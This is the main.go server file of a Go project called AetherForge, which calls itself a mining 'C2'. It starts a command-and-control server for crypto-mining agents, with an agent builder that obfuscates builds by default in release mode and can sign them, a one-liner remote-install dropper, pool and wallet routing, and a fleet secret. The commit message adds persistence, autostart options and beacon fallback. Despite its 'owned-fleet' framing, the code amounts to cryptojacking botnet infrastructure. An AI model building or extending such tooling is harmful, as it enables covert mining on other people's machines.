Files
AetherForge/server/main.go
AetherForge 5fc601b564 feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
2026-06-04 09:34:33 -07:00

544 lines
18 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package main
import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"path/filepath"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/api"
"crypto-miner-server/internal/builder"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/maintenance"
"crypto-miner-server/internal/pool"
"crypto-miner-server/internal/scheduler"
"crypto-miner-server/internal/sys"
)
type wsLogWriter struct {
hub *api.WSHub
}
func (w *wsLogWriter) Write(p []byte) (n int, err error) {
w.hub.BroadcastServerLog(string(p))
return len(p), nil
}
const aetherBanner = `
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ✦ · · · · · · ◈ · · · · · · ✦ ║
║ · \ | / · ║
║ · \ | / · ▲▲▲ ║
║ · ○─────●─────○ · ▲▲▲▲▲ ║
║ · / | \ · ▲▲▲▲▲ ║
║ · / | \ · ████ ║
║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║
║ ○───────────○ ██ ██ ██ ║
║ / \ / \ ║
║ / ●───────● \ A E T H E R F O R G E ║
║ / / \ / \ \ ───────────────────────── ║
║ ○───● ○───○ ●───○ LAN Mining Command Deck ║
║ \ \ / \ / / ║
║ \ ●───────● / ║
║ \ / \ / ║
║ ○───────────○ ║
║ ✦ · · · · ◈ · · · · ✦ ║
║ ║
╚══════════════════════════════════════════════════════════════════╝`
func main() {
fmt.Println(aetherBanner)
log.SetFlags(log.LstdFlags | log.Lshortfile)
log.Println("AetherForge C2 starting...")
// Load configuration
cfg := LoadConfig()
projectRoot := findProjectRoot()
cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot)
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
// Generate fleet secret once — persisted in config.json so all future forges
// carry the same secret and agents keep working across server restarts.
if cfg.Server.FleetSecret == "" {
b := make([]byte, 32)
if _, err := rand.Read(b); err != nil {
log.Fatalf("Failed to generate fleet secret: %v", err)
}
cfg.Server.FleetSecret = hex.EncodeToString(b)
if err := cfg.Save(); err != nil {
log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err)
} else {
log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up")
}
} else {
log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
}
// Ensure data directories exist
dirs := []string{
cfg.DataDir,
filepath.Join(cfg.DataDir, "builds"),
filepath.Join(cfg.DataDir, "preps"),
filepath.Join(cfg.DataDir, "logs"),
}
for _, dir := range dirs {
if err := os.MkdirAll(dir, 0755); err != nil {
log.Fatalf("Failed to create directory %s: %v", dir, err)
}
}
// Load dashboard auth early so credentials print before slow startup steps.
api.LoadUsers(cfg.DataDir)
// Initialize database
database, err := db.New(cfg.DataDir)
if err != nil {
log.Fatalf("Failed to initialize database: %v", err)
}
defer database.Close()
log.Println("Database initialized")
// Initialize AI autonomy handler (Ollama)
aiHandler := api.NewAIHandler(database)
log.Println("AI handler initialized")
// Initialize WebSocket hub
wsHub := api.NewWSHub(database)
wsHub.SetAIHandler(aiHandler)
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
api.SetAgentPathSecret(cfg.Server.FleetSecret)
aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
wsHub.BroadcastAIActivity(entry)
})
// Stream all server logs to the dashboard Master Terminal
log.SetOutput(io.MultiWriter(os.Stdout, &wsLogWriter{hub: wsHub}))
log.Println("WebSocket hub initialized")
// Initialize builder handler
// The agent source is expected at ../agent relative to the server directory
agentSrcDir := findAgentSourceDir()
builderHandler := builder.NewHandler(database, cfg.DataDir, agentSrcDir, projectRoot)
builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
// Wire fleet secret rotation — now that both wsHub and builderHandler are ready.
api.SetRotateSecretFn(func() (string, error) {
b := make([]byte, 32)
if _, err := rand.Read(b); err != nil {
return "", err
}
newSecret := hex.EncodeToString(b)
cfg.Server.FleetSecret = newSecret
if err := cfg.Save(); err != nil {
return "", err
}
wsHub.SetFleetSecret(newSecret)
builderHandler.SetFleetSecret(newSecret)
api.SetAgentPathSecret(newSecret)
_ = database.InsertAudit("", "fleet_secret_rotate", "", map[string]string{"prefix": newSecret[:8]})
log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8])
return newSecret, nil
})
defaultPoolCfg := pool.Config{
Host: cfg.Pool.Host,
Port: cfg.Pool.Port,
UseTLS: cfg.Pool.UseTLS,
Wallet: cfg.Wallet.Address,
Password: cfg.Pool.Password,
PaymentID: cfg.Wallet.PaymentID,
}
defaultPoolBackups := poolConfigsFromEndpoints(cfg.Pool.BackupPools, cfg)
// Initialize Stratum pool manager (connections keyed by forged pool + wallet)
poolManager := pool.NewManager(
func(job *pool.Job) {
log.Printf("[Pool] New job received: ID=%s, Height=%d", job.ID, job.Height)
payload, _ := json.Marshal(job)
wsHub.BroadcastToAgents(api.Message{
Type: "new_job",
Payload: payload,
})
},
func(err error) {
log.Printf("[Pool] Error: %v", err)
},
)
wsHub.SetPoolManager(poolManager, defaultPoolCfg)
applyRuntimeConfig(cfg, wsHub, poolManager, builderHandler)
applyControlServerFirewall(cfg)
configProvider := &serverConfigProvider{
config: cfg,
onSaved: func(c *Config) {
applyRuntimeConfig(c, wsHub, poolManager, builderHandler)
},
}
configHandler := api.NewConfigHandler(configProvider)
configHandler.SetAuditSaveHook(func(user string) {
_ = database.InsertAudit(user, "config_save", "", nil)
})
log.Println("Config handler initialized")
maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays)
defer maintenance.StopRetentionJobs()
// Pre-connect default upstream pool from server config (Forge defaults seed from here)
go func() {
if _, err := poolManager.EnsurePoolWithBackups(&defaultPoolCfg, defaultPoolBackups); err != nil {
log.Printf("[Pool] Failed to connect default pool (will retry on agent auth): %v", err)
}
}()
eventNotifier := alerts.NewNotifier(func() alerts.Settings {
return cfg.AlertSettings()
})
wsHub.SetEventNotifier(eventNotifier)
builderHandler.SetEventNotifier(eventNotifier)
// Fleet alert evaluator (thresholds from Calibrate → alerts config)
alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
return alerts.Thresholds{
OfflineMinutes: cfg.Alerts.OfflineThresholdMinutes,
HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct,
RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct,
}
}, func() alerts.Settings {
return cfg.AlertSettings()
}, func(ev alerts.AlertEvent) {
wsHub.BroadcastFleetAlert(ev)
})
alertEvaluator.Start(30 * time.Second)
log.Println("Fleet alert evaluator started")
// Pool status broadcast to dashboard
go func() {
ticker := time.NewTicker(15 * time.Second)
defer ticker.Stop()
for range ticker.C {
wsHub.BroadcastPoolStatus(poolManager.ListStatus())
}
}()
fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg, cfg.DataDir)
fleetSched := scheduler.New(database, wsHub)
fleetSched.Start()
defer fleetSched.Stop()
wsHub.SetConnectTaskRunner(fleetSched)
// Initialize blueprint handler (config presets)
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
log.Println("Blueprint handler initialized")
// Initialize dropper handler (one-liner remote install)
dropperHandler := api.NewDropperHandler(database, func() string {
return configProvider.PublicURL()
})
// Path Forge: server-side recursive file seeding
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
// Path Tracer: on-demand WireGuard multi-hop VPN builder
pathTracerHandler := api.NewPathTracerHandler(wsHub)
// Find web root for frontend
webRoot := findWebRoot()
log.Printf("Web root: %s", webRoot)
// Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
})
log.Println("Router initialized")
// Start server
addr := fmt.Sprintf(":%d", cfg.Port)
log.Printf("Server listening on %s", addr)
log.Printf("Open http://localhost:%d in your browser", cfg.Port)
if err := http.ListenAndServe(addr, router); err != nil {
log.Fatalf("Server failed: %v", err)
}
}
func poolConfigsFromEndpoints(eps []PoolEndpoint, cfg *Config) []pool.Config {
out := make([]pool.Config, 0, len(eps))
for _, ep := range eps {
if ep.Host == "" || ep.Port <= 0 {
continue
}
out = append(out, pool.Config{
Host: ep.Host,
Port: ep.Port,
UseTLS: ep.UseTLS,
Wallet: cfg.Wallet.Address,
Password: cfg.Pool.Password,
PaymentID: cfg.Wallet.PaymentID,
})
}
return out
}
func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager, builderHandler *builder.Handler) {
if wsHub != nil {
wsHub.SetPingInterval(cfg.Server.WebSocketPingSeconds)
wsHub.SetServerPolicy(api.ServerPolicy{
MaxAgents: cfg.Server.MaxAgents,
LogAgentConnections: cfg.Server.LogAgentConnections,
LogShareSubmissions: cfg.Server.LogShareSubmissions,
LogPoolTraffic: cfg.Server.LogPoolTraffic,
StrictWalletValidation: cfg.Server.StrictWalletValidation,
MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
PoolReconnectSeconds: cfg.Server.PoolReconnectSeconds,
})
}
if poolManager != nil {
poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds)
poolManager.SetVerboseTraffic(cfg.Server.LogPoolTraffic)
}
if builderHandler != nil {
defaultObfuscate := cfg.Server.ObfuscateDefault
if os.Getenv("AETHERFORGE_RELEASE") == "1" {
defaultObfuscate = true
}
builderHandler.SetBuildPolicy(builder.BuildPolicy{
StrictWalletValidation: cfg.Server.StrictWalletValidation,
MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
DefaultObfuscate: defaultObfuscate,
Sign: builder.SignPolicy{
Enabled: cfg.Server.SignEnabled,
CertThumbprint: cfg.Server.SignCertThumbprint,
ToolPath: cfg.Server.SignToolPath,
TimestampURL: cfg.Server.SignTimestampURL,
},
})
}
applyControlServerFirewall(cfg)
}
func applyControlServerFirewall(cfg *Config) {
if cfg == nil || !cfg.Server.OpenFirewallOnStart {
return
}
port := cfg.Port
if port <= 0 {
port = 8989
}
if err := sys.EnsureInboundTCPPort(port, "AetherForge Control Server"); err != nil {
log.Printf("[firewall] %v", err)
}
}
// serverConfigProvider wraps the Config to implement api.ConfigProvider interface
type serverConfigProvider struct {
config *Config
onSaved func(*Config)
}
func (p *serverConfigProvider) PublicURL() string {
return p.config.Server.PublicURL
}
func (p *serverConfigProvider) GetConfigJSON() json.RawMessage {
data, _ := json.Marshal(p.config)
return data
}
func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error {
var incoming Config
if err := json.Unmarshal(data, &incoming); err != nil {
return fmt.Errorf("invalid config: %w", err)
}
// Semantic validation — reject values that would break the server at runtime.
if incoming.Port != 0 && (incoming.Port < 1 || incoming.Port > 65535) {
return fmt.Errorf("invalid config: port %d out of range (165535)", incoming.Port)
}
if incoming.Pool.Port != 0 && (incoming.Pool.Port < 1 || incoming.Pool.Port > 65535) {
return fmt.Errorf("invalid config: pool.port %d out of range (165535)", incoming.Pool.Port)
}
if incoming.Server.MaxAgents < 0 {
return fmt.Errorf("invalid config: server.max_agents must be ≥ 0")
}
if incoming.Server.StatsRetentionHours < 0 {
return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0")
}
if incoming.Server.BuildRetentionDays < 0 {
return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0")
}
if incoming.Server.MaxBuildSizeMB < 0 {
return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
}
// Determine which top-level keys were explicitly present in the JSON payload.
// This prevents partial PUTs from corrupting boolean fields (H14): a key absent
// from the payload is treated as "not changed", not "set to false".
var presentKeys map[string]json.RawMessage
_ = json.Unmarshal(data, &presentKeys)
mergeConfigExplicit(p.config, &incoming, presentKeys)
// Save to disk
if err := p.config.Save(); err != nil {
return fmt.Errorf("failed to save config: %w", err)
}
if p.onSaved != nil {
p.onSaved(p.config)
}
return nil
}
// findAgentSourceDir locates the agent source code directory
// It searches relative to the server binary location and the current working directory
func findAgentSourceDir() string {
projectRoot := findProjectRoot()
candidates := []string{
filepath.Join(projectRoot, "agent"),
"../agent",
"./agent",
}
if cwd, err := os.Getwd(); err == nil {
candidates = append(candidates,
filepath.Join(cwd, "agent"),
filepath.Join(filepath.Dir(cwd), "agent"),
)
}
if exe, err := os.Executable(); err == nil {
exeDir := filepath.Dir(exe)
candidates = append(candidates,
filepath.Join(exeDir, "agent"),
filepath.Join(exeDir, "..", "agent"),
filepath.Join(exeDir, "..", "..", "agent"),
)
}
seen := map[string]bool{}
for _, candidate := range candidates {
absPath, err := filepath.Abs(candidate)
if err != nil || seen[absPath] {
continue
}
seen[absPath] = true
goModPath := filepath.Join(absPath, "go.mod")
if _, err := os.Stat(goModPath); err == nil {
return absPath
}
}
return filepath.Join(projectRoot, "agent")
}
// resolveDataDir pins relative data paths to the project root so builds always land in
// <repo>/data even when miner-server.exe is started from server/ or bin/.
func resolveDataDir(dataDir, projectRoot string) string {
if filepath.IsAbs(dataDir) {
return dataDir
}
if projectRoot != "" && projectRoot != "." {
return filepath.Join(projectRoot, dataDir)
}
abs, err := filepath.Abs(dataDir)
if err != nil {
return dataDir
}
return abs
}
func projectRootMarker(dir string) bool {
for _, name := range []string{"devrun.bat", "LAUNCH.bat", "run.bat"} {
if _, err := os.Stat(filepath.Join(dir, name)); err == nil {
return true
}
}
return false
}
func findProjectRoot() string {
if cwd, err := os.Getwd(); err == nil {
if projectRootMarker(cwd) {
return cwd
}
parent := filepath.Dir(cwd)
if projectRootMarker(parent) {
return parent
}
}
if exe, err := os.Executable(); err == nil {
exeDir := filepath.Dir(exe)
candidates := []string{
exeDir,
filepath.Join(exeDir, ".."),
filepath.Join(exeDir, "..", ".."),
}
for _, candidate := range candidates {
if projectRootMarker(candidate) {
abs, _ := filepath.Abs(candidate)
return abs
}
}
}
if cwd, err := os.Getwd(); err == nil {
return cwd
}
return "."
}
// findWebRoot locates the frontend build output directory
func findWebRoot() string {
candidates := []string{
"webroot", // Copied by devrun.bat
"web/dist", // Vite build output relative to server/
filepath.Join("..", "server", "web", "dist"), // Relative to project root
filepath.Join("server", "web", "dist"), // From project root
}
if cwd, err := os.Getwd(); err == nil {
candidates = append(candidates,
filepath.Join(cwd, "webroot"),
filepath.Join(cwd, "web", "dist"),
filepath.Join(filepath.Dir(cwd), "server", "webroot"),
filepath.Join(filepath.Dir(cwd), "server", "web", "dist"),
)
}
if exe, err := os.Executable(); err == nil {
exeDir := filepath.Dir(exe)
candidates = append(candidates,
filepath.Join(exeDir, "webroot"), // portable USB layout
filepath.Join(exeDir, "..", "webroot"),
filepath.Join(exeDir, "..", "web", "dist"),
filepath.Join(exeDir, "..", "..", "server", "webroot"),
filepath.Join(exeDir, "..", "..", "server", "web", "dist"),
)
}
for _, candidate := range candidates {
absPath, err := filepath.Abs(candidate)
if err != nil {
continue
}
// Check if it has index.html
indexPath := filepath.Join(absPath, "index.html")
if _, err := os.Stat(indexPath); err == nil {
return absPath
}
}
return ""
}